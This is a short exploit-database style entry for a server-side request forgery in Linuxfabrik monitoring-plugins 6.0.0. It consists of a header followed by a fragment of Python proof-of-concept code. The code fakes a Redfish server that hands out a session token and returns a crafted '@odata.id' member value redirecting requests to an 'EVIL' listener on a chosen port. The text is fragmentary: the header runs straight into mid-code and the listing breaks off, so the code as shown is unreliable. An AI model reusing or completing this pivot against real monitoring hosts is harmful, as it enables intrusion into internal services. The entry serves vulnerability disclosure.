Exploit Title: Linuxfabrik monitoring_plugins_6.0.0 - SSRF Date: 2026-07-17 Exploit Author: Pig-Tail (Jorge González Milla) Vendor Homepage: https://github.com/Linuxfabrik/monitoring-plugins Software Link: https://github.com/Linuxfabrik/monitoring-plugins Version: Linuxfabrik monitoring-plugins issue token self._j({'@odata.id':'/redfish/v1/SessionService/Sessions/1'}, extra={'X-Auth-Token':TOKEN}) def do_GET(self): if self.path.endswith('/SessionService'): self._j({'SessionTimeout':600}) elif self.path.endswith('/Systems'): self._j({'Members':[{'@odata.id':f'@127.0.0.1:{EVIL_PORT}/pivot'}]}) else: self._j({'Members':[]}) def log_message(self,*a): pass class EVIL(http.server.BaseHTTPRequestHandler): def _rec(self):…